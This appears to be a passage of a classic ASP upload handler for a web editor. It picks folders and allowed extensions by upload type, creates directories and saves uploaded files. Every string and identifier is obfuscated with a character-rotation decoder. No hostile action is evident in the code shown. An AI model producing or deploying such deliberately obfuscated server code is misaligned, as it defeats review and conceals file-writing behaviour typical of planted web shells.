POOPOO.CacheControl = PPPOOP(ChrW(63)&ChrW(64)&ChrW(92)&ChrW(52)&ChrW(50)&ChrW(52)&ChrW(57)&ChrW(54))
POOPOO.Charset = PPPOOP(ChrW(118)&ChrW(113)&ChrW(97)&ChrW(98)&ChrW(96)&ChrW(97))
POOOPPOP = Trim(POOOPP(PPPOOP(ChrW(64)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(37)&ChrW(74)&ChrW(65)&ChrW(54))))
Select Case POOOPPOP
Case PPPOOP(ChrW(120)&ChrW(62)&ChrW(50)&ChrW(56)&ChrW(54)&ChrW(68))
POOOPPPP = PPPOOP(ChrW(59)&ChrW(65)&ChrW(56)&ChrW(77)&ChrW(59)&ChrW(65)&ChrW(54)&ChrW(56)&ChrW(77)&ChrW(56)&ChrW(58)&ChrW(55)&ChrW(77)&ChrW(51)&ChrW(62)&ChrW(65)&ChrW(77)&ChrW(68)&ChrW(72)&ChrW(55)&ChrW(77)&ChrW(65)&ChrW(63)&ChrW(56))
POPOOPPO = (82*42-1396)
PPOPPP = PPPOOO(PPPOOP(ChrW(93)&ChrW(93)&ChrW(94)&ChrW(93)&ChrW(93)&ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(94))&year(now())&PPPOOP(ChrW(94)&ChrW(120)&ChrW(62)&ChrW(50)&ChrW(56)&ChrW(54)&ChrW(68)&ChrW(94)))
Case PPPOOP(ChrW(120)&ChrW(62)&ChrW(56))
POOOPPPP = PPPOOP(ChrW(59)&ChrW(65)&ChrW(56)&ChrW(77)&ChrW(59)&ChrW(65)&ChrW(54)&ChrW(56)&ChrW(77)&ChrW(56)&ChrW(58)&ChrW(55)&ChrW(77)&ChrW(51)&ChrW(62)&ChrW(65)&ChrW(77)&ChrW(65)&ChrW(63)&ChrW(56))
POPOOPPO = (82*42-1396)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(33)&ChrW(58)&ChrW(52)&ChrW(94)&ChrW(120)&ChrW(62)&ChrW(56)&ChrW(94)))
Case PPPOOP(ChrW(112)&ChrW(53))
POOOPPPP = PPPOOP(ChrW(59)&ChrW(65)&ChrW(56)&ChrW(77)&ChrW(59)&ChrW(65)&ChrW(54)&ChrW(56)&ChrW(77)&ChrW(56)&ChrW(58)&ChrW(55)&ChrW(77)&ChrW(51)&ChrW(62)&ChrW(65)&ChrW(77)&ChrW(68)&ChrW(72)&ChrW(55)&ChrW(77)&ChrW(65)&ChrW(63)&ChrW(56))
POPOOPPO = (72*24-1228)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(33)&ChrW(58)&ChrW(52)&ChrW(94)&ChrW(112)&ChrW(53)&ChrW(94)))
Case PPPOOP(ChrW(117)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(57))
POOOPPPP = PPPOOP(ChrW(68)&ChrW(72)&ChrW(55)&ChrW(77)&ChrW(55)&ChrW(61)&ChrW(71))
POPOOPPO = (41*76--7124)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(33)&ChrW(58)&ChrW(52)&ChrW(94)&ChrW(117)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(57)&ChrW(94)))
Case PPPOOP(ChrW(124)&ChrW(70)&ChrW(68)&ChrW(58)&ChrW(52))
POOOPPPP = PPPOOP(ChrW(62)&ChrW(65)&ChrW(98))
POPOOPPO = (41*76--7124)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(117)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(94)&ChrW(124)&ChrW(70)&ChrW(68)&ChrW(58)&ChrW(52)&ChrW(94)))
Case PPPOOP(ChrW(39)&ChrW(58)&ChrW(53)&ChrW(54)&ChrW(64))
POOOPPPP = PPPOOP(ChrW(72)&ChrW(62)&ChrW(71))
POPOOPPO = (49*51--48701)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(117)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(94)&ChrW(39)&ChrW(58)&ChrW(53)&ChrW(54)&ChrW(64)&ChrW(94)))
Case PPPOOP(ChrW(123)&ChrW(58)&ChrW(63)&ChrW(60))
POOOPPPP = PPPOOP(ChrW(89))
POPOOPPO = (49*51--48701)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(117)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(94)&ChrW(123)&ChrW(58)&ChrW(63)&ChrW(60)&ChrW(94)))
Case PPPOOP(ChrW(38)&ChrW(117)&ChrW(58)&ChrW(61)&ChrW(54))
POOOPPPP = PPPOOP(ChrW(67)&ChrW(50)&ChrW(67)&ChrW(77)&ChrW(75)&ChrW(58)&ChrW(65)&ChrW(77)&ChrW(102)&ChrW(75)&ChrW(77)&ChrW(69)&ChrW(50)&ChrW(67)&ChrW(77)&ChrW(54)&ChrW(73)&ChrW(54))
POPOOPPO = (49*51--48701)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(117)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(94)&ChrW(38)&ChrW(117)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(94)))
Case Else
POOOPPPP = PPPOOP(ChrW(59)&ChrW(65)&ChrW(56)&ChrW(77)&ChrW(56)&ChrW(58)&ChrW(55)&ChrW(77)&ChrW(68)&ChrW(72)&ChrW(55)&ChrW(77)&ChrW(65)&ChrW(63)&ChrW(56)&ChrW(77)&ChrW(67)&ChrW(50)&ChrW(67)&ChrW(77)&ChrW(75)&ChrW(58)&ChrW(65)&ChrW(77)&ChrW(102)&ChrW(75))
POPOOPPO = (82*42-1396)
PPOPPP = PPPOOO(PPPOOP(ChrW(94)&ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(33)&ChrW(58)&ChrW(52)&ChrW(94)&ChrW(126)&ChrW(69)&ChrW(57)&ChrW(54)&ChrW(67)&ChrW(68)&ChrW(94)))
End Select
POOPOOOP = (30*20--424) * POPOOPPO
POOPOOO()
Sub POOPOOO()
Dim POOPOOPO, POOPOOPP, POOPOPOO, POOPOPOP, POOPOPPO, POOPOPPP
Set POOPOOPO = New POOPOOP
POOPOOPO.IsNum = (55*10-549)
POOPOOPO.IsNumIng = (10*63-618)
POOPOOPO.SingleSize = POOPOOOP
POOPOOPO.MaxSize = (30*20--424) * (30*20--424) * (30*20--424)
POOPOOPO.Exe = POOOPPPP
POOPOOPO.Charset = PPPOOP(ChrW(56)&ChrW(51)&ChrW(97)&ChrW(98)&ChrW(96)&ChrW(97))
POOPOOPO.openProcesser = False
POOPOOPO.Getdata()
If POOPOOPO.ErrorID>0 Then
POOPOO.Write POOPOOPO.Description
POOPOO.End()
Else
If POOPOOPO.Files( -1).Count > 0 Then
POOPOOPP = POOPOP.MapPath(PPOPPP)
Set POOPOPOO = POOPOOPO.Files(PPPOOP(ChrW(55)&ChrW(58)&ChrW(61)&ChrW(54)))
POOPOPOO.SaveToFile POOPOOPP, 0
POOPOPOP = POOPOPOO.FileName
Set POOPOPOO = Nothing
POOPOPPO = PPOPPP&POOPOPOP
POOPOO.Write(PPPOOP(ChrW(76)&ChrW(70)&ChrW(67)&ChrW(61)&ChrW(105)&ChrW(86))&POOPOPPO&PPPOOP(ChrW(86)&ChrW(91)&ChrW(32)&ChrW(44)&ChrW(32)&ChrW(44)&ChrW(54)&ChrW(67)&ChrW(67)&ChrW(64)&ChrW(67)&ChrW(105)&ChrW(86)&ChrW(95)&ChrW(86)&ChrW(91)&ChrW(62)&ChrW(54)&ChrW(68)&ChrW(68)&ChrW(50)&ChrW(56)&ChrW(54)&ChrW(105)&ChrW(86)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(25099)&ChrW(64)&ChrW(21146)&ChrW(64)&ChrW(91)&ChrW(-29710)&ChrW(64)&ChrW(21242)&ChrW(64)&ChrW(20457)&ChrW(64)&ChrW(25908)&ChrW(64)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(21513)&ChrW(64)&ChrW(30335)&ChrW(64)&ChrW(-29206)&ChrW(64)&ChrW(24447)&ChrW(64)&ChrW(80)&ChrW(86)&ChrW(91)&ChrW(32)&ChrW(44)&ChrW(72)&ChrW(58)&ChrW(53)&ChrW(69)&ChrW(57)&ChrW(105)&ChrW(86)&ChrW(23480)&ChrW(64)&ChrW(24225)&ChrW(64)&ChrW(86)&ChrW(91)&ChrW(57)&ChrW(54)&ChrW(58)&ChrW(56)&ChrW(57)&ChrW(69)&ChrW(105)&ChrW(86)&ChrW(-25901)&ChrW(64)&ChrW(24225)&ChrW(64)&ChrW(86)&ChrW(78)))
POOPOO.End()
Else
POOPOO.Write(PPPOOP(ChrW(76)&ChrW(70)&ChrW(67)&ChrW(61)&ChrW(105)&ChrW(86)&ChrW(86)&ChrW(91)&ChrW(32)&ChrW(44)&ChrW(32)&ChrW(44)&ChrW(54)&ChrW(67)&ChrW(67)&ChrW(64)&ChrW(67)&ChrW(105)&ChrW(86)&ChrW(96)&ChrW(86)&ChrW(91)&ChrW(62)&ChrW(54)&ChrW(68)&ChrW(68)&ChrW(50)&ChrW(56)&ChrW(54)&ChrW(105)&ChrW(86)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(22828)&ChrW(64)&ChrW(-29408)&ChrW(64)&ChrW(91)&ChrW(24739)&ChrW(64)&ChrW(27804)&ChrW(64)&ChrW(26372)&ChrW(64)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(20214)&ChrW(64)&ChrW(20304)&ChrW(64)&ChrW(25986)&ChrW(64)&ChrW(20209)&ChrW(64)&ChrW(80)&ChrW(86)&ChrW(91)&ChrW(32)&ChrW(44)&ChrW(72)&ChrW(58)&ChrW(53)&ChrW(69)&ChrW(57)&ChrW(105)&ChrW(86)&ChrW(23480)&ChrW(64)&ChrW(24225)&ChrW(64)&ChrW(86)&ChrW(91)&ChrW(57)&ChrW(54)&ChrW(58)&ChrW(56)&ChrW(57)&ChrW(69)&ChrW(105)&ChrW(86)&ChrW(-25901)&ChrW(64)&ChrW(24225)&ChrW(64)&ChrW(86)&ChrW(78)))
POOPOO.End()
End If
End If
Set POOPOOPO = Nothing
End Sub
Function PPPOOO(ByVal POOPOOPP)
On Error Resume Next
Dim POOPPOOO
POOPPOOO = POOPOOPP
POOPOOPP = Replace(POOPOOPP, PPPOOP(ChrW(94)), PPPOOP(ChrW(45)))
POOPOOPP = Replace(POOPOOPP, PPPOOP(ChrW(45)&ChrW(45)), PPPOOP(ChrW(45)))
Dim POOPPOOP, POOPPOPO
Dim POOPPOPP, POOPPPOO
Dim PPPPPOO
Set POPOOPPP = POOPOP.CreateObject(PPPOOP(ChrW(36)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(63)&ChrW(56)&ChrW(93)&ChrW(117)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(68)&ChrW(74)&ChrW(68)&ChrW(69)&ChrW(54)&ChrW(62)&ChrW(126)&ChrW(51)&ChrW(59)&ChrW(54)&ChrW(52)&ChrW(69)))
POOPPOOP = POOPOP.MapPath(PPPOOP(ChrW(94)))
If InStr(POOPOOPP, PPPOOP(ChrW(105))) = 0 Then POOPOOPP = POOPOP.MapPath(POOPOOPP)
If POPOOPPP.FolderExists(POOPOOPP) Or Len(POOPOOPP) < 3 Then
PPPOOO = POOPPOOO
Exit Function
End If
POOPPOPO = Replace(POOPOOPP, POOPPOOP, vbNullString, 1, -1, 1)
POOPPOPP = Split(POOPPOPO, PPPOOP(ChrW(45)))
If InStr(LCase(POOPOOPP), LCase(POOPPOOP)) = 0 Then
POOPPPOO = POOPPOPP(0)
Else
POOPPPOO = POOPPOOP
End If
For PPPPPOO = 1 To UBound(POOPPOPP)
If POOPPOPP(PPPPPOO) <> "" Then
POOPPPOO = POOPPPOO & PPPOOP(ChrW(45)) & POOPPOPP(PPPPPOO)
If POPOOPPP.FolderExists(POOPPPOO) = False Then
POPOOPPP.CreateFolder POOPPPOO
End If
End If
Next
If Err.Number <> 0 Then Err.Clear
PPPOOO = POOPPOOO
End Function
Function PPPOOP(ByVal POPOPOOO)
Dim POOPPPOP, PPPPPOO, POOPPPPO
POPOPOOO = Replace(POPOPOOO, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For PPPPPOO = 1 To Len(POPOPOOO)
If PPPPPOO <> POOPPPPO Then
POOPPPOP = AscW(Mid(POPOPOOO, PPPPPOO, 1))
If POOPPPOP >= 33 And POOPPPOP <= 79 Then
PPPOOP = PPPOOP & Chr(POOPPPOP + 47)
ElseIf POOPPPOP >= 80 And POOPPPOP <= 126 Then
PPPOOP = PPPOOP & Chr(POOPPPOP - 47)
Else
POOPPPPO = PPPPPOO + 1
If Mid(POPOPOOO, POOPPPPO, 1) = PPPOOP(ChrW(111)) Then PPPOOP = PPPOOP & ChrW(POOPPPOP + 5) Else PPPOOP = PPPOOP & Mid(POPOPOOO, PPPPPOO, 1)
End If
End If
Next
End Function
%>